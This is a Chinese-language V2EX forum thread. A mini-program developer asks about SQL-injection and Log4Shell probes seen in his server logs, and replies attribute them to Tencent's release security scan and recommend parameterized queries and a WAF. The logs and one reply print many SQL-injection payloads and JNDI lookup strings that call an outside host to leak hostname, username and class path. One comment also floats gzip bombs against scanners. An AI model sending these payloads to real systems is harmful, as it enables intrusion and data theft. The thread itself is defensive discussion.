遇到黑客攻击了怎么办

278 天前
 shinyzhu

我在做的是一个小程序,有后台的 API 服务。

上周五突然发现有很多 SQL 注入和远程代码执行的调用。

Mar 15 16:48:15 lightsh ibkapi[1420640]: GET /products?q=%27%20union%20select%201--%20&count=30&cat=21&p=1 500 2.012 ms - 60
Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23&count=30&cat=21&p=1 500 4.498 ms - 60
Mar 15 16:48:16 lightsh ibkapi[1420640]: GET /products?q=%bf%27%bf'%27%22'"\\%5C%0d%0a%23%23&count=30&cat=21&p=1 500 16.973 ms - 60
Mar 15 16:49:27 lightsh ibkapi[1420640]: GET /products?q=&count=30&cat=21&p=%20OR%20%28SELECT%2AFROM%28SELECT%28SLEEP%284%29%29%29iiet%29%20limit%201%23 400 0.847 ms - 163

和这样:

Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://183.47.120.213:1099/bypass4ab2c832c1448624ddd652713f2b4b1b-/-${hostName}} 400 1.655 ms - 201
Mar 15 17:31:35 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.f4a52b7ecb98e763293fb54f33f9bec8.4j2.mauu.mauu.me/} 400 1.722 ms - 258
Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=-1&count=10&p=${jndi:ldap://183.47.120.213:1389/jdk185bf1616da873b6fb2299bbc60897c1c1-/-${hostName}} 400 1.749 ms - 201
Mar 15 17:31:36 lightsh ibkapi[1457656]: GET /orders/?status=${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.05d82899be802b7b14abf20f5a33c934.4j2.mauu.mauu.me/}&count=10&p=1 400 2.063 ms - 257

还有今天发现在请求 /.env

技术战是 NodeJS+MySQL ,看起来这些攻击没有得逞,我也在发现的第一时间停掉服务规避了。

然后修改了系统里校验参数和 SQL 语句的用法。

目前有 2 个问题:

  1. 这个站点我并没有公开发布过,黑客是怎么知道地址的呢?拿手机抓包获取 API 地址?
  2. 大家有什么办法避免这样的攻击?
2802 次点击
所在节点    信息安全
17 条回复
lonelykid
278 天前
全网扫描 IP 和端口,还有你贴的日志把你服务器 IP 都泄露了。
Hopetree
278 天前
我发现只要是公开的网站都有很多类似的请求。

借贴说一下关于这种暴力请求的问题,是不是可以设置网络炸弹(就是给一些不存在的请求返回一个压缩文件,文件被解压的时候会非常大)来恶心一下这种请求?前几天看到网络炸弹这个还没试过,不知道对于这种暴力请求有效没?
shinyzhu
278 天前
@lonelykid 嗯嗯。谢谢提醒。

我看了日志的,那个不是我的 IP ,还有域名 mauu.me 也不是我的。我怀疑是黑客控制的,所以没有删掉。黑客想通过那个接口的参数传远程下载进去。但我服务器上没有 Java 。

不知道理解对不对。有没有白帽帮忙看看。
shinyzhu
278 天前
@Hopetree 感觉是个“蜜罐”类方案,可以研究下。但直接返回大文件的话,我的小服务器流量也受不了。
Puteulanus
278 天前
如果请求参数跟你的服务八竿子打不着,那估计就是扫描的了,可能会把常见的漏洞利用都给你试一遍
winterpotato
278 天前
用 gzip bumb 确实很坏,我做过一段时间,发现自己发出去的流量挺多的也不知道对面爆炸了没。

大概率是全网扫的,从自己的代码角度来看,查询语句要用 prepared statement ( Parameterized queries )这种避免被注入。
yumusb
278 天前
mauu.me 是腾讯安全检测的,你是不是最近上线了什么小程序一类的,触发了腾讯的安全扫描。
shinyzhu
278 天前
@yumusb 是的呢。就是小程序刚发布了个新版本,就收到这些扫描了。我发现 IP 还真是广州的。
kimitaer
278 天前
应该是 tx 的安全检测, 之前我司也是发现了一批可疑请求, 检查了下 ua 可以看到是来自 tx 的检测
NGGTI
277 天前
一个是在做 SQL 注入攻击 sleep(4) 响应 0.847 ms 没成功。一个在做 log4 攻击,没用 java 就算了。
retanoj
277 天前
攻击不代表攻击成功。
“我也在发现的第一时间停掉服务规避了”,如果真对扫描类请求都这么敏感,那建议前面套一层 WAF
shinyzhu
277 天前
@retanoj 其实我很慌,我不少 SQL 是拼字符串的,想着后面有空了重构。这一下直接让我在半夜改完了。
retanoj
277 天前
@shinyzhu #12
你看,以攻促防这效果不就体现出来了嘛 ;)
impdx
276 天前
sql 拼接,开发不注意安全规范很容易 sql 注入。先规范自己的开发。之后考虑上个雷池 waf ,可以避免一些扫描器
AJ1if4
255 天前
散了吧,这个是小程序发布审核触发的腾讯安全审查。

{"code":"' union select 1--"}
{"code":"' union select 1,2--"}
{"code":"' union select 1,2,3--"}
{"code":"' union select md5(3141592657),2,3--"}
{"code":"' union select 1,md5(3141592657),3--"}
{"code":"' union select 1,2,md5(3141592657)--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g' AND (SELECT*FROM(SELECT(SLEEP(3)))qtuo) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") OR (SELECT*FROM(SELECT(SLEEP(4)))cnpj) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\")) AND (SELECT*FROM(SELECT(SLEEP(3)))pxzq) limit 1#"}
{"code":"\")) OR (SELECT*FROM(SELECT(SLEEP(3)))puht) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\") AND (SELECT*FROM(SELECT(SLEEP(2)))cfva) limit 1#"}
{"code":"' OR (SELECT*FROM(SELECT(SLEEP(3)))mnud) limit 1#"}
{"code":"\" AND (SELECT*FROM(SELECT(SLEEP(3)))ondm) limit 1#"}
{"code":"%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"')) OR (SELECT*FROM(SELECT(SLEEP(2)))nawx) limit 1#"}
{"code":"')) OR (SELECT*FROM(SELECT(SLEEP(3)))rywe) limit 1#"}
{"code":"\" union select 1--"}
{"code":"\" union select 1,2--"}
{"code":"\" union select md5(3141592657),2--"}
{"code":"\" union select 1,md5(3141592657)--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select md5(3141592657),2,3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,md5(3141592657),3--"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" union select 1,2,md5(3141592657)--"}
{"code":"%bf%27%bf'%27%22'\"\\\\%5C%0d%0a%23#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(4)))biaw) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') OR (SELECT*FROM(SELECT(SLEEP(3)))mjpe) limit 1#"}
{"code":"${jndi:rmi:\/\/183.47.120.213:1099\/bypassea22776815cddd786d4619bd5fa16902-\/-${hostName}}"}
{"code":"\") OR (SELECT*FROM(SELECT(SLEEP(4)))qgzf) limit 1#"}
{"code":"') OR (SELECT*FROM(SELECT(SLEEP(3)))kuav) limit 1#"}

{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"\" OR (SELECT*FROM(SELECT(SLEEP(3)))cexg) limit 1#"}
{"code":"\" OR (SELECT*FROM(SELECT(SLEEP(4)))fzmo) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(3)))jyyi) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" OR (SELECT*FROM(SELECT(SLEEP(4)))bvvz) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}

{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(4)))fnfj) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g AND (SELECT*FROM(SELECT(SLEEP(3)))wdcf) limit 1#"}
{"code":"${jndi:rmi:\/\/hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.32a822
.mauu.me\/}"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(2)))lozr) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g\" AND (SELECT*FROM(SELECT(SLEEP(3)))hged) limit 1#"}
{"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(3)))ievk) limit 1#"}
{"code":"\")) AND (SELECT*FROM(SELECT(SLEEP(4)))tpvq) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(3)))hkzh) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g') AND (SELECT*FROM(SELECT(SLEEP(2)))gisu) limit 1#"}
{"code":"') AND (SELECT*FROM(SELECT(SLEEP(3)))kaes) limit 1#"}
{"code":"') AND (SELECT*FROM(SELECT(SLEEP(4)))xbou) limit 1#"}
{"code":"' AND (SELECT*FROM(SELECT(SLEEP(4)))dfwz) limit 1#"}
{"code":"' AND (SELECT*FROM(SELECT(SLEEP(3)))yfcg) limit 1#"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g%25bf%2527%25bf%27%2527%2522%27%22%5C%5C%255C%250d%250a%2523%23"}
{"code":"0e1PpF0w3budA23iup1w3qG30x0PpF0g"}
{"code":"\") AND (SELECT*FROM(SELECT(SLEEP(4)))rsqh) limit 1#"}
shinyzhu
254 天前
@AJ1if4 哈哈。你这个日志怎么来的?用的啥数据库?
AJ1if4
223 天前
@shinyzhu 服务器上的,pg

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1024484

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX